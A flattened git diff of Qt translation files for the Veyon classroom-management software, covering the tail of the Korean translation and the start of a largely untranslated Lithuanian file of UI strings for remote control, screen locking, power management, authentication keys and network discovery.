ID + + + Feature + 기능 + + + Valid until + 다음 기간동안 유효함 + + + Licensee + 사용권자 + + + Browse license file + 라이센스 파일 찾아보기 + + + Veyon license files (*.vlf) + Veyon 라이센스 파일 (*.vlf) + + + Remove license + 라이센스 제거 + + + Do you really want to remove the selected license? + 선택된 라이센스를 제거하시겠습니까 ? + + + <N/A> + <N/A> + + + Invalid license file + 유효하지 않은 라이센스 파일 + + + Could not open the license file for reading! + 라이센스 파일을 읽을 수 없습니다! + + + The selected license file does not contain valid data. + 선택된 라이센스 파일에 유효한 데이터가 없습니다. + + + The selected license file could not be verified. + 선택한 라이센스 파일을 검증할 수 없습니다. + + + The selected license file is not valid for this installation. + 선택된 라이센스 파일을 이번 설치에 사용할 수 없습니다. + + + The selected license file is expired. + 선택된 라이센스 파일의 유효기간이 지났습니다. + + + The license is already installed. + 이 라이센스는 이미 설치 되었습니다. + + + + LicensingPlugin + + Show help for specific command + 특정 명령어에 대한 도움말 보여줌 + + + Show all installed licenses + 설치된 모든 라이센스를 보여주기 + + + Add license file + 라이센스 파일을 추가 + + + Remove installed license + 설치된 라이센스 제거 + + + +USAGE + +%1 add <LICENSE FILE> + + + +사용법 + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +사용법 + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + 주어진 ID에 해당하는 인증서가 발견되지 않음 + + + <N/A> + <N/A> + + + Licensing management + 라이센스 관리 + + + Commands for managing license keys + 라이센스 키 관리용 명령어들 + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + 리눅스 플래폼용 플러그인 실행용 추상화 함수 + + + + MainToolBar + + Configuration + 설정 + + + Disable balloon tooltips + 풍선 툴팁기능 해제 + + + Show icons only + 아이콘만 보여주기 + + + + MainWindow + + MainWindow + 메인 윈도우 + + + toolBar + 툴바 + + + General + 일반사항 + + + &File + 파일(&F) + + + &Help + 도움말(&H) + + + &Quit + 종료하기(&Q) + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + &o 화일에서 설정 불러오기 + + + Ctrl+O + Ctrl+O + + + About Qt + Qt 정보 + + + Authentication impossible + 인증 불가 + + + Configuration not writable + 설정 저장 불가 + + + Load settings from file + 화일에서 설정 불러오기 + + + Save settings to file + 화일에 설정 저장 + + + Unsaved settings + 저장되지 않은 설정 + + + There are unsaved settings. Quit anyway? + 저장되지 않은 설정이 있습니다.그래도 끝낼까요 ? + + + Veyon Configurator + Veyon Configurator + + + Service + 서비스 + + + Master + 마스터 + + + Access control + 접근 제어 + + + About Veyon + Veyon에 대해서 + + + Auto + 자동 + + + Computer rooms + 컴퓨터 교실 + + + About + 정보 + + + %1 Configurator %2 + %1 %2 설정 + + + JSON files (*.json) + JSON files (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + 설정을 저장할 수 없다는 로컬 설정 백엔드가 보고됨! %1 Configurator 를 관리자 권한으로 실행하세요 + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + 인증 키 화일이 없거나 현재의 키 화일이 오래되었습니다. %1 Configurator 를 이용하여 새로운 키를 생성하세요. 다른 방법으로는 %1 Configurator 를 사용하여 로그온 인증을 설치하세요. 그렇지 않으면 %1을 사용하여 컴퓨터를 접속할 수 없습니다 + + + Access denied + 접근 거부됨 + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + 로컬 설정에 따라 당신은 네트워크상의 컴퓨터에 접근이 거부됩니다. 다른 사용자 이름으로 다시 로그인 하거나 시스템 관리자에게 로컬 설정 확인을 요청하세요 + + + Screenshots + 화면캡쳐 + + + Feature active + 기능 활성화 + + + The feature "%1" is still active. Please stop it before closing %2. + 기능 "%1" 이 현재 활성화 상태입니다. %2를 닫기 전에 중지시키세요 + + + Reset configuration + 설정 초기화 + + + Do you really want to reset the local configuration and revert all settings to their defaults? + 정말 로컬설정을 초기화하고 기본 설정값으로 되돌리시겠습니까? + + + Search users and computers + 사용자 또는 컴퓨터 검색 + + + Adjust optimal size + 최적 크기로 조정 + + + Align computers to grid + 컴퓨터를 그리드에 맞춤 + + + Use custom computer placement + 사용자가 정의한 컴퓨터 위치를 사용 + + + %1 Configurator + %1 설정자 + + + Insufficient privileges + 권한 부족 + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + 관리자 권한으로 시작하지 못했습니다. 데스크탑 환경에 슈퍼유저 프로그램이 설치되었는지 확인하세요. 이 프로그램은 일반 유저 권한으로 실행됩니다. + + + Only show powered on computers + 전원이 켜진 컴퓨터만 보여주기 + + + &Save settings to file + &설정을 화일에 저장 + + + &View + &View 보기 + + + &Standard + &Standard 표준 + + + &Advanced + &Advanced 고급 + + + + MasterConfigurationPage + + Directories + 디렉토리 + + + ... + ... + + + User configuration + 사용자 설정 + + + Feature on computer double click: + 컴퓨터를 더블 클릭할 때의 기능 + + + Automatically switch to current room at start + 시작시 현재 교실로 자동으로 전환 + + + Features + 기능 + + + All features + 모든 기능 항목 + + + Disabled features + 기능 비활성화 + + + Perform access control at program start + 프로그램 시작시 접근 제어 실행 + + + Screenshots + 화면캡쳐 + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + 시작할때 컴퓨터 썸네일 사진 크기를 자동조정 + + + Basic settings + 기본 설정 + + + Behaviour + 수행형태 + + + Enforce selected mode for client computers + 클라이언트 컴퓨터를 선택된 모드로 강제로 실행 + + + Only show current room + 현재 교실만 보여줌 + + + Allow adding rooms manually + 수동으로 교실추가 허용 + + + Hide local computer + 로컬컴퓨터 숨김 + + + Hide empty rooms + 빈 교실 숨김 + + + Hide computer filter field + 컴퓨터 필터 필드 숨김 + + + Actions such as rebooting or powering down computers + 리부팅 또는 컴퓨터 파워 끄기 + + + Show confirmation dialog for potential dangerous actions + 위험한 작동에 대한 확인 대화 창 보여주기 + + + User interface + 유저 인터페이스 + + + Background color + 백그라운드 색상 + + + Thumbnail update interval + 썸네일 그림 업데이트 시간간격 + + + ms + ms + + + Program start + 프로그램 시작 + + + Modes and features + 모드와 기능들 + + + User and computer name + 사용자 와 컴퓨터 이름 + + + Only user name + 전용 사용자 이름 + + + Only computer name + 전용 컴퓨터 이름 + + + Computer thumbnail caption + 컴퓨터 썸네일 캡션 + + + Computer rooms + 컴퓨터 교실 + + + Automatically open computer rooms widget + 컴퓨터 룸의 위젯을 자동으로 열기 + + + Text color + 글자색 + + + Sort order + 정렬 순서 + + + Computer and user name + 켬퓨터 및 사용자 이름 + + + + MonitoringMode + + Monitoring + 모니터링 + + + Builtin monitoring mode + 게시판형 모니토링 모드 + + + This is the default mode and allows you to monitor all computers in one or more rooms. + 이 모드는 기본 모드로서 하나 또는 그 이상의 방의 모든 컴퓨터들의 모니터를 가능하게 합니다. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + 네트워크 발견 + + + Mode + 모드 + + + Scan network ranges + 네트워크 범위 검색 + + + e.g. 192.168.1.0/24 + e.g. 192.168.1.0/24 + + + Scan all subnets of computer + 컴퓨터의 모든 서브넷 검색 + + + Scan custom subnet + 사용자 서브넷 검색 + + + Scan sessions on local computer + 로컬 컴퓨터 스캔 세션 + + + Test + 테스트 + + + Network ranges + 네트워크 범위 + + + Add new group + 새 그룹 추가 + + + Remove selected group + 선택된 그룹 삭제 + + + Groups + 그룹 + + + First address + 첫번째 주소 + + + Last address + 마지막 주소 + + + Add new network range + 새로운 네트워크 범위 추가 + + + Remove selected network range + 선택된 네트워크 범위 삭제 + + + Parallel scans + 병행 스캔 + + + Scan timeout + 시간 시간 초과 + + + ms + ms + + + Session scan limit + 세션 스캔 제한 + + + New group + 새그룹 + + + Options + 옵션 + + + Reverse lookup discovered IP addresses to host names + 발견된 IP 주소를 호스트 이름으로 검색하기 + + + + NetworkDiscoveryDirectory + + Scanning... + 스캐닝... + + + Discovered computers + 검색된 컴퓨터들 + + + + NetworkDiscoveryPlugin + + Show help for specific command + 특정 명령어에 대한 도움말 보여줌 + + + Scan a subnet + 서브넷 스캔 + + + +USAGE + +%1 scan [<SUBNET>] + + + +사용법 + +%1 scan [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + 네트워크의 컴퓨터들을 자동으로 검색하기 위한 네트워크 오브젝트 폴더 + + + Network discovery (scan network for Veyon clients) + 네트워크 검색(Veyon 클라이언트용 네트워크 검색) + + + Commands for managing the network discovery directory + 네트워크 검색 폴더를 제어하기 위한 명령어들 + + + + NetworkObjectTreeModel + + Room/Computer + 교실/컴퓨터 + + + + PasswordDialog + + Username + 사용자 이름 + + + Password + 암호 + + + Veyon Logon + Veyon 로그온 + + + Authentication error + 인증 에러 + + + Logon failed with given username and password. Please try again! + 입력한 사용자이름과 패스워드로 로그온 실패. 다시 시도하세요! + + + Please enter your username and password in order to access computers. + 컴퓨터에 접근 하려면 당신의 사용자이름과 패스워드를 입력하세요 + + + + PowerControlFeaturePlugin + + Power on + 전원켜기 + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + 이버튼 눌러서 모든 컴퓨터의 파워를 켭니다. 따라서 수동으로 한대씩 전원을 켤 필요가 없습니다 + + + Reboot + 재시작 + + + Click this button to reboot all computers. + 클릭하면 모든 컴퓨터를 리부팅 + + + Power down + 전원끄기 + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + 이버튼 눌러서 모든 컴퓨터의 파워를 끕니다. 따라서 수동으로 한대씩 전원을 끌 필요가 없습니다 + + + Power on/down or reboot a computer + 선택된 컴퓨터 파워 온/오프 또는 재시작 + + + Confirm reboot + 리부팅 확인 + + + Confirm power down + 컴퓨터 파워 끄기 확인 + + + Do you really want to reboot the selected computers? + 선택된 컴퓨터를 리부팅하시겠습니까 ? + + + Do you really want to power down the selected computer? + 선택된 컴퓨터 파워를 끄시겠습니까 ? + + + Power on a computer via Wake-on-LAN (WOL) + Wake-on-LAN(WOL)을 사용하여 컴퓨터 파워를 켬 + + + MAC ADDRESS + 맥 어드레스 + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + 이 명령어는 주어진 MAC 주소를 갖는 컴퓨터 파워를 켜기 위해 네트워크에 Wake-on-LAN(WOL) 패킷을 배포함 + + + Please specify the command to display help for! + 도움말을 표시할 명령어를 지정하세요 + + + Invalid MAC address specified! + 유효하지 않은 MAC 주소가 선택됨! + + + Commands for controlling power status of computers + 컴퓨터 파워 상태를 제어하기 위한 명령어들 + + + + RemoteAccessFeaturePlugin + + Remote view + 원격화면보기 + + + Open a remote view for a computer without interaction. + 상호 작용없이 원격 컴퓨터의 화면을 열기 + + + Remote control + 원격제어 + + + Open a remote control window for a computer. + 컴퓨터의 원격제어 윈도우를 열기 + + + Remote access + 원격 접근 + + + Remote view or control a computer + 감시화면 또는 컴퓨터 제어 + + + Please enter the hostname or IP address of the computer to access: + 연결할 컴퓨터의 호스트 이름 또는 IP를 입력하세요 + + + Show help about command + 명령어에 대한 도움말 보여줌 + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 원격 접근 + + + + RemoteAccessWidgetToolBar + + View only + 보기만 하기 + + + Remote control + 원격제어 + + + Send shortcut + 바로가기 보내기 + + + Fullscreen + 전체화면 + + + Window + 윈도우 + + + Quit + 종료하기 + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + 메뉴 + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + %1에 연결중 + + + Connected. + 연결됨 + + + Screenshot + 화면캡쳐 + + + + RoomSelectionDialog + + Room selection + 교실 선택 + + + enter search filter... + 검색 필터 입력 .... + + + + Routing + + Control internet access by modifying routing table + 라우팅 테이블을 수정하여 인터넷 접속 제어 + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + 인터넷 접속을 제한하기 위해 기본 루트 제거 + + + Add custom route to block internet + 인터넷 제한하기 위한 사용자 루트 추가 + + + Destination + 목적지 + + + Gateway + 게이트 웨이 + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + 선택된 컴퓨터(들)에서 실행할 명령어 또는 프로그램을 입력하세요. 각각의 라인으로 다수의 프로그램/명령어를 구분할 수 있습니다. + + + Run programs + 프로그램 실행 + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + 예. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + 잠금 + + + Unlock + 잠금해제 + + + Lock screen and input devices of a computer + 컴퓨터의 입력장치와 화면을 잠금 + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + 사용자의 주의를 끌기 위해서 이버튼을 사용하여 사용자의 컴퓨터를 잠글수 있습니다. 이 모드에서 모든 입력 장치는 잠기며 화면은 검은색이 됩니다. + + + + Screenshot + + unknown + 알수없음 + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + 폴더 %1이 존재하지 않고 생성할 수 없기 때문에 화면캡쳐는 불가능합니다. + + + Screenshot + 화면캡쳐 + + + + ScreenshotFeaturePlugin + + Screenshot + 화면캡쳐 + + + Use this function to take a screenshot of selected computers. + 선택된 컴퓨터의 화면을 캡쳐할 때 이기능을 사용합니다 + + + Screenshots taken + 화면 캡쳐됨 + + + Screenshot of %1 computer have been taken successfully. + %1 컴퓨터의 화면캡쳐 성공 + + + Take screenshots of computers and save them locally. + 컴퓨터의 화면을 캡쳐하고 로컬에 저장함 + + + + ScreenshotManagementView + + User: + 사용자: + + + Date: + 날짜: + + + Time: + 시간: + + + Show + 보기 + + + Delete + 삭제 + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + 모든 화면 캡쳐 화일이 이곳에 표시됩니다. 컴퓨터 메뉴에서 "화면캡쳐"를 클릭하여 화면캡쳐를 할 수 있습니다. 아래 버튼으로 화면캡쳐를 관리할 수 있습니다 + + + Computer: + 컴퓨터: + + + + ServiceConfigurationPage + + General + 일반사항 + + + Autostart + 자동시작 + + + Hide tray icon + 트레이 아이콘 숨기기 + + + Start service + 서비스 시작 + + + Stopped + 멈춤 + + + Stop service + 서비스 중지 + + + State: + 상태: + + + Enable SAS generation by software (Ctrl+Alt+Del) + 소프트웨어로 SAS (Ctrl+Alt+Del) 생성 허용 + + + Network + 네트워크 + + + Demo server port + 데모 서버 포트 + + + Enable firewall exception + 방화벽 예외 적용 활성화 + + + Allow connections from localhost only + 로컬 호스트 연결만 허용함 + + + Internal VNC server port + 내부 VNC server 포트 + + + VNC server + VNC server + + + Plugin: + 플러그인: + + + Restart %1 Service + %1 서비스 재시작 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + 모든 설정이 성공적으로 저장됨. %1 서비스가 작동하려면 재시작해야 합니다. 지금 재시작 할까요 ? + + + Running + 실행중 + + + Feature manager port + 속성 관리 포트 + + + Primary service port + 주 서비스 포트 + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + 이 옵션을 활성화 시키면 서비스가 컴퓨터의 모든 대화 세션용 서버 프로세스를 실행합니다. +일반적으로 터미널 서버를 지원하는데 필요합니다. + + + Multi session support (experimental) + 멀티 세션 지원(시험적으로 사용) + + + Show notification on remote connection + 원격 연결이면 알림 보이기 + + + Show notification on failed authentication attempts + 인증시도 실패시 알림 보이기 + + + + ServiceControl + + Starting service %1 + 서비스 %1 시작중 + + + Stopping service %1 + 서비스 %1 중지중 + + + Registering service %1 + 서비스 %1 를 등록중 + + + Unregistering service %1 + 서비스 %1 를 등록 해제중 + + + Service control + 서비스 제어 + + + + ServiceControlPlugin + + Service is running + 서비스 실행중 + + + Service is not running + 서비스 실행중이 아님 + + + Configure and control Veyon service + Veyon 서비스 설정및 제어 + + + Register Veyon Service + Veyon 서비스 등록 + + + Unregister Veyon Service + Veyon 서비스 등록해지 + + + Start Veyon Service + Veyon 서비스 시작 + + + Stop Veyon Service + Veyon 서비스 중지 + + + Restart Veyon Service + Veyon 서비스 재시작 + + + Query status of Veyon Service + Veyon 서비스 상태 조회 + + + Commands for configuring and controlling Veyon Service + Veyon 서비스 설정 및 제어 명령어 + + + + ShellCommandLinePlugin + + Run command file + 명령어행 실행 + + + File "%1" does not exist! + 화일 "%1" 이 없음! + + + Interactive shell and script execution for Veyon Control + Veyon 제어용 대화형 쉘과 스크립트 실행 + + + Commands for shell functionalities + 쉘 기능용 명령어들 + + + + SystemTrayIcon + + System tray icon + 시스템 트레이 아이콘 + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + 시스템 유저그룹을 위한 사용자 그룹 백엔드 + + + Default (system user groups) + 기본 값(시스템 사용자 그룹들) + + + + TextMessageDialog + + Send text message + 문자 메세지 보내기 + + + Use the field below to type your message which will be sent to all selected users. + 선택된 사용자에세 메세지를 보내려면 아래 빈칸에 내용을 입력하세요 + + + + TextMessageFeaturePlugin + + Text message + 메세지 + + + Use this function to send a text message to all users e.g. to assign them new tasks. + 예를들어 모든 사용자에게 새로운 과제를 부과하는 문자 메세지를 보내려면 이기능을 사용 + + + Message from teacher + 교사의 메세지 + + + Send a message to a user + 사용자에게 메세지 보내기 + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + 계층화된 윈도우 캡쳐 활성화 (반 투명) + + + Poll full screen (leave this enabled per default) + 전체화면 (기본값으로 활성화시켜 놓음) + + + Low accuracy (turbo mode) + 저해상도 (터보모드) + + + Builtin UltraVNC server configuration + 내장 UltraVNC 서버 설정 + + + Enable multi monitor support + 다중 모니터 지원 활성화 + + + Enable Desktop Duplication Engine on Windows 8 and newer + 윈도8 또는 상위버전에서 데스크탑 복제엔진 활성화 + + + + UserConfig + + No write access + 쓰기 권한 없음 + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + 개인 설정을 저장할 수 없음. %1 설정자를 이용하여 사용자 설정 화일을 경로를 확인하세요 + + + + UserSessionControl + + User session control + 사용자 세션제어 + + + Click this button to logout users from all computers. + 클릭하면 사용자를 모든 컴퓨터에서 로그아웃 + + + Confirm user logout + 유저 로그아웃 확인 + + + Do you really want to logout the selected users? + 선택된 컴퓨터를 로그아웃하시겠습니까 ? + + + Logout + 로그아웃 + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [실패] + + + Invalid command! + 잘못된 명령어 + + + Available commands: + 사용가능한 명령어 + + + Invalid arguments given + 인자가 잘못됨 + + + Not enough arguments given - use "%1 help" for more information + 필수 인자 미입력 - 자세한 정보는 %1 HELP를 사용하세요 + + + Unknown result! + 결과를 알수 없음 + + + Available modules: + 사용가능한 모듈 + + + No module specified or module not found - available modules are: + 모듈이 지정되지 않았거나 찾을 수 없음 - 사용가능한 모듈들은: + + + Plugin not licensed + 플러그인 라이센스 안됨 + + + INFO + 정보 + + + ERROR + 에러 + + + licensed for + 에게 사용허가 됨 + + + + VeyonServiceControl + + Veyon Service + Veyon Service + + + + VncView + + Establishing connection to %1 ... + ... %1 로 연결 중입니다 + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + 윈도우즈 플래폼용 플러그인 실행용 추상화 함수 + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: 서비스 "%1" 가 이미 설치되어 있음. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: 서비스 "%1" 를 설치할 수 없음. + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: 서비스 "%1" 가 성공적으로 설치됨. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: 서비스 "%1" 를 제거할 수 없음. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: 서비스 "%1" 가 성공적으로 제거됨. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: 서비스 "%1" 의 시작 형태를 변경할 수 없음. + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: 서비스 "%1" 를 찾을 수 없음. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Builtin x11vnc 서버 설정 + + + Custom x11vnc parameters: + 사용자 x11vnc 파라메터 : + + + Do not use X Damage extension + X 손상 확장 사용하지 않음 + + + \ No newline at end of file diff --git a/translations/lt.ts b/translations/lt.ts new file mode 100644 index 0000000..9302e4b --- /dev/null +++ b/translations/lt.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + Apie programą + + + Translation + Vertimas + + + License + Licencija + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + Testuoti + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + Visos grupės + + + ... + ... + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + Pagrindinis + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + Katalogas kuriame saugomas viešas raktas + + + Private key file base directory + Katalogas kuriame saugomas privatus raktas + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Vardas + + + Type + Tipas + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + Vardas + + + Host address/IP + + + + MAC address + Mac adresas + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Tipas + + + Name + Vardas + + + Host address + + + + MAC address + Mac adresas + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: 